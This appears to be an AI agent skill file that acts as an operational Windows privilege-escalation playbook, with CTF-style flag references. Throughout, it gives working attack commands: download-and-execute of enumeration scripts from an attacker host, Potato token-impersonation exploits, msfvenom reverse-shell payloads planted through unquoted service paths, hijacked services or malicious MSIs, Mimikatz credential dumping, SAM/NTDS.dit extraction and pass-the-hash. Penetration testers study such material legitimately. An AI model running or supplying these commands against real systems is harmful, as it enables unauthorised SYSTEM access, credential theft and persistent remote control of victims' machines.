windows-privilege-escalation

name	Windows Privilege Escalation
description	This skill should be used when the user asks about "Windows privilege escalation", "winpeas", "token impersonation", "potato attacks", "service exploitation", "unquoted service path", "AlwaysInstallElevated", or needs guidance on escalating privileges on Windows systems.
version	1.0.0

Windows Privilege Escalation Skill

Overview

Techniques for escalating privileges from a low-privileged user to SYSTEM/Administrator on Windows systems.

Automated Enumeration

WinPEAS

# Download and run
IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/winPEAS.ps1')

# Run executable
.\winPEASany.exe

# Quiet mode
.\winPEASany.exe quiet

# Specific checks
.\winPEASany.exe servicesinfo

PowerUp

IEX(New-Object Net.WebClient).DownloadString('http://<ATTACKER>/PowerUp.ps1')
Invoke-AllChecks

# Specific checks
Get-UnquotedService
Get-ModifiableService
Get-RegistryAlwaysInstallElevated

Windows Exploit Suggester

# On attacker machine
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2024-01-01-mssb.xls --systeminfo systeminfo.txt

Manual Enumeration Checklist

1. User Information

whoami
whoami /priv
whoami /groups
net users
net user <username>
net localgroup Administrators
qwinsta  # Other logged in users

2. Token Privileges

whoami /priv

High-Value Privileges:

Privilege	Attack
SeImpersonatePrivilege	PrintSpoofer, JuicyPotato, RoguePotato
SeAssignPrimaryTokenPrivilege	Token impersonation
SeBackupPrivilege	Backup SAM/SYSTEM hashes
SeRestorePrivilege	Write to any file
SeTakeOwnershipPrivilege	Take ownership of files
SeDebugPrivilege	Dump LSASS, inject into processes
SeLoadDriverPrivilege	Load vulnerable driver

Token Impersonation Attacks:

# PrintSpoofer (Windows 10, Server 2016/2019)
.\PrintSpoofer.exe -i -c cmd

# JuicyPotato (Windows 7-10, Server 2008-2016)
.\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {CLSID}

# RoguePotato (Windows 10, Server 2019)
.\RoguePotato.exe -r <ATTACKER_IP> -e "cmd.exe" -l 9999

3. Unquoted Service Paths

wmic service get name,pathname,startmode | findstr /i auto | findstr /i /v "C:\Windows"

# PowerUp
Get-UnquotedService

Exploitation:

# If path is: C:\Program Files\Some Folder\service.exe
# Windows searches for:
# C:\Program.exe
# C:\Program Files\Some.exe
# C:\Program Files\Some Folder\service.exe

# Drop malicious executable
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f exe > Program.exe
copy Program.exe "C:\Program.exe"
sc stop <service>
sc start <service>

4. Modifiable Services

# Check service permissions
accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Users" *

# PowerUp
Get-ModifiableService

Exploitation:

sc config <service> binpath= "C:\temp\shell.exe"
sc stop <service>
sc start <service>

5. AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

If both return 0x1:

# Create malicious MSI
msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f msi > shell.msi

# Install with elevated privileges
msiexec /quiet /qn /i shell.msi

6. Stored Credentials

# Check for saved credentials
cmdkey /list

# Use saved credentials
runas /savecred /user:Administrator cmd

# Search for credentials in files
findstr /si password *.txt *.ini *.config *.xml
findstr /spin "password" *.*

Common credential locations:

# Unattend files
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\sysprep\Unattend.xml
C:\Windows\System32\sysprep\Panther\Unattend.xml

# PowerShell history
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

# IIS config
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

7. Registry Autoruns

# Check autorun locations
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

# Check if writable
accesschk.exe /accepteula -wvu "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

8. Scheduled Tasks

schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Look for:

• Custom tasks running as SYSTEM
• Writable scripts in task actions

9. SAM/SYSTEM Files

# Check for backup SAM files
dir C:\Windows\Repair\SAM
dir C:\Windows\System32\config\RegBack\SAM

# If admin, dump directly
reg save HKLM\SAM sam
reg save HKLM\SYSTEM system

# Extract on attacker
secretsdump.py -sam sam -system system LOCAL

10. DLL Hijacking

# Find missing DLLs using Process Monitor
# Or check known locations
accesschk.exe /accepteula -wvu "C:\Program Files"

11. Hot Potato / Juicy Potato CLSID

# Windows 10/Server 2019 CLSID
{F3A614DC-ABE0-11D2-A441-00C04F795683}

# Windows 7/Server 2008
{4991d34b-80a1-4291-83b6-3328366b9097}

# Find more at: https://github.com/ohpe/juicy-potato/blob/master/CLSID/

12. Kernel Exploits

systeminfo
# Look for OS version and installed hotfixes

Common Windows Kernel Exploits:

Windows Version	Exploit
Win 7/8/10, Server 2008-2016	MS16-032
Win 7/Server 2008 R2	MS15-051
Server 2003/XP	MS08-067
Win 8.1/Server 2012	MS14-058

Post-Exploitation

Dump Credentials

# Mimikatz
.\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Get SAM
.\mimikatz.exe "privilege::debug" "lsadump::sam" exit

# Get LSA secrets
.\mimikatz.exe "privilege::debug" "lsadump::secrets" exit

Pass-the-Hash

# Impacket
psexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM_HASH>
wmiexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM_HASH>

Backup Tool Abuse

SeBackupPrivilege

# Check if you have it
whoami /priv | findstr /i backup

# Copy any file using backup semantics
robocopy /b C:\Users\Administrator\Desktop C:\temp flag.txt

# Or use diskshadow for NTDS.dit
diskshadow /s shadow.txt
# shadow.txt contains:
# set context persistent nowriters
# add volume c: alias temp
# create
# expose %temp% z:

# Then copy from shadow copy
robocopy /b z:\Windows\NTDS C:\temp ntds.dit

SeRestorePrivilege

# Check if you have it
whoami /priv | findstr /i restore

# Write to any location
# Can overwrite DLLs, service binaries, etc.
robocopy /b C:\temp C:\Windows\System32 malicious.dll

Volume Shadow Copy (VSS)

# List existing shadow copies
vssadmin list shadows

# Create shadow copy (requires admin)
vssadmin create shadow /for=C:

# Access shadow copy contents
mklink /d C:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

# Read protected files from shadow
type C:\shadowcopy\Windows\System32\config\SAM

Windows Backup (wbadmin)

# If wbadmin is available and you have backup rights
wbadmin start backup -backuptarget:E: -include:C:\Users\Administrator -quiet

# Restore to readable location
wbadmin start recovery -version:<version> -itemtype:File -items:C:\Users\Administrator\flag.txt -recoverytarget:C:\temp

Third-Party Backup Tools

Common backup software that may have elevated service accounts:

• Veeam Backup
• Commvault
• Veritas NetBackup
• Acronis

Pattern: Check if user is member of backup operator groups or has access to backup tool consoles.

# Check group membership
net localgroup "Backup Operators"
whoami /groups | findstr -i backup

Quick Reference

# Priority Order
1. Token privileges (SeImpersonate → Potato attacks)
2. Unquoted service paths
3. Modifiable services
4. AlwaysInstallElevated
5. Stored credentials (cmdkey, files)
6. Backup privileges (SeBackup/SeRestore, VSS)
7. Scheduled tasks
8. SAM file backups
9. DLL hijacking
10. Kernel exploits (last resort)

Resources

• PayloadsAllTheThings: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md
• LOLBAS: https://lolbas-project.github.io/
• WinPEAS: https://github.com/carlospolop/PEASS-ng